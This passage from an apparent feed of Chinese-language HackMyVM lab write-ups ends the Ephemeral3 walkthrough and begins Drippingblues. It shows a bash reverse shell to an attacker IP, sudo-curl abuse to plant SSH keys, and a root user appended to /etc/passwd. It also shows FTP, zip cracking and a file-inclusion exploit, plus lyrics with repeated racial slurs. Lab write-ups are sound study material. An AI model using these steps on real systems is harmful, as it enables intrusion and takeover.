Tested 16289 keys | Remaining 16479 keys | Aprox. Speed 8/sec
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ssh登录&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/]
└─# ssh -lrandy -p22 -i /root/rsa/2048/0028ca6d22c68ed0a1e3f6f79573100a-31671 192.168.0.101
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.13.0-30-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

150 updates can be applied immediately.
82 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Fri Jun 24 01:17:05 2022 from 10.0.0.69
randy@ephemeral:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;h2&gt;提权-henry&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;randy@ephemeral:/home/henry$ sudo -l
Matching Defaults entries for randy on ephemeral:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User randy may run the following commands on
        ephemeral:
    (henry) NOPASSWD: /usr/bin/curl
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;vi /tmp/reverse.sh
#!/bin/bash
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.106/4444 0&amp;gt;&amp;amp;1

chmod 777 reverse.sh

sudo -u henry curl &amp;quot;file:///tmp/reverse.sh&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# pwncat-cs -lp 4444                             
[06:22:24] Welcome to pwncat 🐈!      __main__.py:164
[06:22:25] received connection from        bind.py:84
           192.168.0.101:56536                       
[06:22:25] 192.168.0.101:56536:        manager.py:957
           registered new host w/ db                 
(local) pwncat$ back
(remote) randy@ephemeral:/tmp$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;弹出来的还是randy&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gtfobins.github.io/gtfobins/curl/#sudo&quot;&gt;curl | GTFOBins&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; 本地生成密钥，保存公钥到 &lt;code&gt;henry&lt;/code&gt; 的目录中：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ssh-keygen -t rsa -f /home/kali/Desktop/hmv/henry
Generating public/private rsa key pair.
Enter passphrase for &amp;quot;/home/kali/Desktop/hmv/henry&amp;quot; (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/Desktop/hmv/henry
Your public key has been saved in /home/kali/Desktop/hmv/henry.pub
The key fingerprint is:
SHA256:/DtUrPDeYlWSRoBNf4A86JW2QUJlHAw1taigAFiXIVU root@kali
The key&amp;#39;s randomart image is:
+---[RSA 3072]----+
|o.o.++E.+&amp;amp;X*o    |
|.. o.   oo%+.o   |
|  .   .. o.*o..  |
|   . . oo.. *..  |
|    .   So + o   |
|         .+ .    |
|         o.o     |
|          =..    |
|         ..o     |
+----[SHA256]-----+
                      
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;sudo -u henry /usr/bin/curl http://192.168.0.106:8888/henry.pub -o /home/henry/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权-root&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# 
ssh -i /home/kali/Desktop/hmv/henry henry@192.168.0.101
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.13.0-30-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

150 updates can be applied immediately.
82 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

New release &amp;#39;22.04.5 LTS&amp;#39; available.
Run &amp;#39;do-release-upgrade&amp;#39; to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Fri Jun 24 01:30:47 2022 from 10.0.0.69
henry@ephemeral:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;henry@ephemeral:~$ cat user.txt 
9c8e36b0cb30f09300592cb56bca0c3a
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;henry@ephemeral:~$ find /etc -type f -writable 2&amp;gt;/dev/null
/etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现/etc/passwd可以有写入权限&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;henry@ephemeral:~$ openssl passwd -1 -salt abc password
$1$abc$BXBqpb9BZcZhXLgbee.0s/
henry@ephemeral:~$ head -20 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin

# 创建新用户 evilroot
echo &amp;quot;evilroot:\$1\$abc\$BXBqpb9BZcZhXLgbee.0s/:0:0:Evil Root:/root:/bin/bash&amp;quot; &amp;gt;&amp;gt; /etc/passwd
# 测试登录
su evilroot
# 密码: password
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;root@ephemeral:~# cat root.txt 
b0a3dec84d09f03615f768c8062cec4d
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral3/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral3/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Drippingblues</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/drippingblues/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/drippingblues/</guid><description>Tested on and exported from virtualbox.</description><content:encoded>&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.100   08:00:27:91:92:9c       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-12 11:23 EST
Nmap scan report for mail.codeshield.hmv (192.168.0.100)
Host is up (0.00036s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 0        0             471 Sep 19  2021 respectmydrip.zip [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.0.106
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:bb:af:6f:7d:a7:9d:65:a1:b1:a1:be:91:cd:04:28 (RSA)
|   256 a3:d3:c0:b4:c5:f9:c0:6c:e5:47:64:fe:91:c5:cd:c0 (ECDSA)
|_  256 4c:84:da:5a:ff:04:b9:b5:5c:5a:be:21:b6:0e:45:73 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn&amp;#39;t have a title (text/html; charset=UTF-8).
| http-robots.txt: 2 disallowed entries 
|_/dripisreal.txt /etc/dripispowerful.html
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.53 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt; driftingblues is hacked again so it&amp;#39;s now called drippingblues. :D hahaha
by
travisscott &amp;amp; thugger 

driftingblues 又一次被黑了，所以现在改名叫 drippingblues。😄 哈哈哈
作者：
travisscott 和 thugger
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;目录扫描(dirsearch + gobuster)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;User-agent: *
Disallow: /dripisreal.txt
Disallow: /etc/dripispowerful.html
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hello dear hacker wannabe,

go for this lyrics:

https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html

count the n words and put them side by side then md5sum it

ie, hellohellohellohello &amp;gt;&amp;gt; md5sum hellohellohellohello

it&amp;#39;s the password of ssh
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;你好，亲爱的黑客菜鸟，

去看看这首歌的歌词：
https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html

统计里面所有的 n-word（nigger 的缩写）出现次数，把它们一个接一个拼在一起，然后对结果做 md5 校验

例如：hellohellohellohello → 对 hellohellohellohello 执行 md5sum

这个 md5 值就是 SSH 的密码
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;歌词处理&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;div&amp;gt;
&amp;lt;!-- Usage of azlyrics.com content by any third-party lyrics provider is prohibited by our licensing agreement. Sorry about that. --&amp;gt;
&amp;lt;i&amp;gt;[Young Thug:]&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;
Pour that shit up fool, it&amp;#39;s ours&amp;lt;br&amp;gt;
Ha&amp;lt;br&amp;gt;
Monster!&amp;lt;br&amp;gt;
Man so you ain&amp;#39;t gon&amp;#39; pour?&amp;lt;br&amp;gt;
Oh, so you&amp;#39;re gonna make a nigga beg you to pour?&amp;lt;br&amp;gt;
Okay bool, you dig?&amp;lt;br&amp;gt;
(Wheezy Beats)&amp;lt;br&amp;gt;
Uh&amp;lt;br&amp;gt;
&amp;lt;br&amp;gt;
Hopped out my motherfuckin&amp;#39; bed&amp;lt;br&amp;gt;
Hopped in the motherfuckin&amp;#39; coupe (Skrrt)&amp;lt;br&amp;gt;
Pulled up on the Birdman (Brr)&amp;lt;br&amp;gt;
I&amp;#39;m a beast, I&amp;#39;m a beast, I&amp;#39;m a mobster (Ayy)&amp;lt;br&amp;gt;
You got 50 whole bands, you&amp;#39;ll be my sponsor (Just for the night)&amp;lt;br&amp;gt;
Them snakes on the plane, me and Kanye-conda (Anacondas)&amp;lt;br&amp;gt;
Yeah (Them anacondas)&amp;lt;br&amp;gt;
I might piece him up and let my partner smoke him (Triple cross)&amp;lt;br&amp;gt;
Chuck-E-Cheese him up, I pizza him, I roll him (Cross)&amp;lt;br&amp;gt;
I&amp;#39;m a gangster, I don&amp;#39;t dance, baby I poke&amp;lt;br&amp;gt;
Right now I&amp;#39;m surrounded by some gangsters from Magnolia&amp;lt;br&amp;gt;
I heard I put it in the spot, yes sir she told me&amp;lt;br&amp;gt;
My niggas muggin&amp;#39;, these niggas YSL only&amp;lt;br&amp;gt;
I heard my Nolia niggas not friendly, like no way&amp;lt;br&amp;gt;
But we not friendly either, you know it&amp;lt;br&amp;gt;
Ha!&amp;lt;br&amp;gt;
Yeah, thumbs up&amp;lt;br&amp;gt;
I&amp;#39;ve seen more holes than a golf course on Donald Trump&amp;#39;s course&amp;lt;br&amp;gt;
My bitch a tall blooded horse, nigga, bronco&amp;lt;br&amp;gt;
And if you catch us down bet you&amp;#39;re not gon&amp;#39; trunk us (No)&amp;lt;br&amp;gt;
You got a body, lil&amp;#39; nigga, we got a ton of &amp;#39;em (Yeah)&amp;lt;br&amp;gt;
You got some Robin&amp;#39;s, lil&amp;#39; nigga, we got some Batmans&amp;lt;br&amp;gt;
I let that choppa go &amp;amp;quot;blocka, blocka,&amp;amp;quot; get back, son (Back)&amp;lt;br&amp;gt;
You got them MJs, nigga, I got them Jacksons (Racks)&amp;lt;br&amp;gt;
&amp;lt;br&amp;gt;
But really what is it to do&amp;lt;br&amp;gt;
When the whole world constantly hatin&amp;#39; on you?&amp;lt;br&amp;gt;
Pussy niggas hold their nuts, masturbatin&amp;#39; on you&amp;lt;br&amp;gt;
Meanwhile the fuckin&amp;#39; federal baitin&amp;#39; on you&amp;lt;br&amp;gt;
Nigga tell me what you do&amp;lt;br&amp;gt;
Would you stand up or would you turn to a pussy nigga?&amp;lt;br&amp;gt;
I got a hundred things to do&amp;lt;br&amp;gt;
And I can stop rappin&amp;#39; but I can&amp;#39;t stop stackin&amp;#39; fuckin&amp;#39; figures&amp;lt;br&amp;gt;
&amp;lt;br&amp;gt;
&amp;lt;i&amp;gt;[Birdman &amp;amp;amp; Young Thug:]&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;
Yeah, I&amp;#39;m from that motherfuckin&amp;#39; &amp;#39;Nolia, nigga (&amp;#39;Nolia, nigga)&amp;lt;br&amp;gt;
Birdman&amp;#39;ll break a nigga nose, lil&amp;#39; nigga (Nose, lil&amp;#39; nigga, ah)&amp;lt;br&amp;gt;
You need to slow your fuckin&amp;#39; roll, lil&amp;#39; nigga (Roll, lil&amp;#39; nigga, Thugger)&amp;lt;br&amp;gt;
We created Ks on shoulders, nigga (Shoulders, nigga)&amp;lt;br&amp;gt;
I&amp;#39;m a scary fuckin&amp;#39; sight, lil&amp;#39; nigga (Sight, lil&amp;#39; nigga, ah)&amp;lt;br&amp;gt;
We won a hundred mil&amp;#39; on fights, lil&amp;#39; nigga (Fights, lil&amp;#39; nigga, hey)&amp;lt;br&amp;gt;
A hundred bands, sure you&amp;#39;re right, lil&amp;#39; nigga (Right, lil&amp;#39; nigga)&amp;lt;br&amp;gt;
I keep some AKs on my flights, lil&amp;#39; nigga (My flights, lil&amp;#39; nigga, I do)&amp;lt;br&amp;gt;
Birdman Willie B (What?)&amp;lt;br&amp;gt;
Smoke some stunna blunts, now my eyes Chinese (Chinese)&amp;lt;br&amp;gt;
Hundred K on private flights overseas (Overseas)&amp;lt;br&amp;gt;
Choppas City nigga, free BG (BG)&amp;lt;br&amp;gt;
Bentley with the doors all &amp;#39;round, not a Jeep (Jeep)&amp;lt;br&amp;gt;
Rich nigga shit, smoke two pounds in a week (In a week)&amp;lt;br&amp;gt;
Can&amp;#39;t find a bitch that don&amp;#39;t know we them streets (We them streets)&amp;lt;br&amp;gt;
Bitches know that I am Birdman, that&amp;#39;s OG, brrat&amp;lt;br&amp;gt;
&amp;lt;br&amp;gt;
&amp;lt;i&amp;gt;[Young Thug:]&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;
But really what is it to do&amp;lt;br&amp;gt;
When the whole world constantly hatin&amp;#39; on you?&amp;lt;br&amp;gt;
Pussy niggas hold their nuts, masturbatin&amp;#39; on you&amp;lt;br&amp;gt;
Meanwhile the fuckin&amp;#39; federal baitin&amp;#39; on you&amp;lt;br&amp;gt;
Nigga tell me what you do&amp;lt;br&amp;gt;
Would you stand up or would you turn to a pussy nigga?&amp;lt;br&amp;gt;
I got a hundred things to do&amp;lt;br&amp;gt;
And I can stop rappin&amp;#39; but I can&amp;#39;t stop stackin&amp;#39; fuckin&amp;#39; figures&amp;lt;br&amp;gt;
&amp;lt;br&amp;gt;
Nigga, I&amp;#39;m a crack addict&amp;lt;br&amp;gt;
Thought about lettin&amp;#39; them get a cut&amp;lt;br&amp;gt;
Then I went and snagged at it&amp;lt;br&amp;gt;
Yeah, the new Boosie Badazz at it&amp;lt;br&amp;gt;
I&amp;#39;ma drop a nigga life, just like a bad habit&amp;lt;br&amp;gt;
I stick to the ground like a motherfuckin&amp;#39; rug&amp;lt;br&amp;gt;
I&amp;#39;m a big dog, lil&amp;#39; fuck nigga, you a pup&amp;lt;br&amp;gt;
Lil&amp;#39; bitch, clean your drawers before you think you&amp;#39;re a thug&amp;lt;br&amp;gt;
Before I be in front your shows, just like your pub&amp;lt;br&amp;gt;
I ain&amp;#39;t even lyin&amp;#39;, baby&amp;lt;br&amp;gt;
I swear to God I ain&amp;#39;t lyin&amp;#39;, baby, no&amp;lt;br&amp;gt;
First I&amp;#39;ll screw you without these pliers, baby, or&amp;lt;br&amp;gt;
I might dap you like, &amp;amp;quot;good try, baby&amp;amp;quot;&amp;lt;br&amp;gt;
Big B livin&amp;#39;, baby&amp;lt;br&amp;gt;
Them boys on my left throwin&amp;#39; up Cs&amp;lt;br&amp;gt;
I promise their mama see them this week&amp;lt;br&amp;gt;
And I don&amp;#39;t break promises with my Ds (Them my dogs)&amp;lt;br&amp;gt;
I want Ms and cheese, mister Mickey Ds&amp;lt;br&amp;gt;
She know I am a beast, I am so obese (Rrar)&amp;lt;br&amp;gt;
In Miami I swear they don&amp;#39;t got good weed&amp;lt;br&amp;gt;
Wiz Khalifa can you send me some weed please?&amp;lt;br&amp;gt;
&amp;lt;br&amp;gt;
&amp;lt;i&amp;gt;[Birdman:]&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;
Yeah, overseas, nigga, top floor, clear windows, nigga&amp;lt;br&amp;gt;
Glass house, drankin&amp;#39; GT, you understand?&amp;lt;br&amp;gt;
We in that Red Light District, you understand?&amp;lt;br&amp;gt;
We 3 and 1, that mean 3 on me, nigga, you understand me?&amp;lt;br&amp;gt;
Just livin&amp;#39; the life, boy, ayy, Thug, just a dollar for a 1, nigga&amp;lt;br&amp;gt;
We can blow a mil&amp;#39;, boy&amp;lt;br&amp;gt;
Rich Gang, YSL, blatt!
&amp;lt;/div&amp;gt;

&amp;lt;br&amp;gt;
&amp;lt;br&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# sed &amp;#39;s/&amp;lt;[^&amp;gt;]*&amp;gt;//g&amp;#39; lyrics.html &amp;gt; lyrics.txt
                                                                                                    
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# grep -oiw &amp;#39;nigga\|niggas&amp;#39; lyrics.txt | wc -l

40

┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# yes nigga | head -n 40 | tr -d &amp;#39;\n&amp;#39; &amp;gt; payload.txt
cat payload.txt
md5sum payload.txt

nigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigganigga
67aff0e8f24f431a9f31899e0c18839b  payload.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到密码67aff0e8f24f431a9f31899e0c18839b&lt;/p&gt;
&lt;h2&gt;21端口&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ftp 192.168.0.100 
Connected to 192.168.0.100.
220 (vsFTPd 3.0.3)
Name (192.168.0.100:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&amp;gt; dir
229 Entering Extended Passive Mode (|||32468|)
150 Here comes the directory listing.
-rwxrwxrwx    1 0        0             471 Sep 19  2021 respectmydrip.zip
226 Directory send OK.
ftp&amp;gt; get respectmydrip.zip
local: respectmydrip.zip remote: respectmydrip.zip
229 Entering Extended Passive Mode (|||13382|)
150 Opening BINARY mode data connection for respectmydrip.zip (471 bytes).
100% |***************************************************************|   471        2.03 MiB/s    00:00 ETA
226 Transfer complete.
471 bytes received in 00:00 (783.57 KiB/s)
ftp&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;压缩包解密&lt;/h2&gt;
&lt;p&gt;尝试解压发现有密码，进行破解&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# unzip respectmydrip.zip 
Archive:  respectmydrip.zip
[respectmydrip.zip] respectmydrip.txt password: 
password incorrect--reenter:                                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# zip2john respectmydrip.zip &amp;gt; hash
ver 2.0 respectmydrip.zip/respectmydrip.txt PKZIP Encr: cmplen=32, decmplen=20, crc=5C92F12B ts=96AB cs=5c92 type=0
ver 2.0 respectmydrip.zip/secret.zip is not encrypted, or stored with non-handled compression type
                                                                                                            
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
072528035        (respectmydrip.zip/respectmydrip.txt)     
1g 0:00:00:01 DONE (2026-01-12 11:46) 0.6666g/s 9284Kp/s 9284Kc/s 9284KC/s 072551..0713932315
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably
Session completed. 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;just focus on &amp;quot;drip&amp;quot;

关键就在 ‘drip’”
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;网页解密&lt;/h2&gt;
&lt;p&gt;结合之前的/robots.txt中Disallow: /etc/dripispowerful.html&lt;/p&gt;
&lt;p&gt;拼接链接&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://192.168.0.100/?drip=/etc/dripispowerful.html&quot;&gt;http://192.168.0.100/?drip=/etc/dripispowerful.html&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;/style&amp;gt;
password is:
imdrippinbiatch
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;
driftingblues is hacked again so it&amp;#39;s now called drippingblues. :D hahaha
&amp;lt;br&amp;gt;
by
&amp;lt;br&amp;gt;
travisscott &amp;amp; thugger
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 👉 &lt;strong&gt;密码是：&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;imdrippinbiatch&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;尝试解压secret.zip失败了&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# unzip secret.zip       
Archive:  secret.zip
[secret.zip] secret.txt password: 
password incorrect--reenter: 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ssh连接&lt;/h1&gt;
&lt;p&gt;在网页端我们得知俩个作者为travisscott &amp;amp; thugger&lt;/p&gt;
&lt;p&gt;尝试登录&lt;/p&gt;
&lt;p&gt;thugger/imdrippinbiatch&lt;/p&gt;
&lt;p&gt;成功登录&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;thugger@drippingblues:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  user.txt  Videos
thugger@drippingblues:~$ cat user.txt
5C50FC503A2ABE93B4C5EE3425496521
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;thugger@drippingblues:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
thugger:x:1001:1001:,,,:/home/thugger:/bin/bash
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin
mysql:x:127:133:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:128:134:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/linux-exploit-suggester]
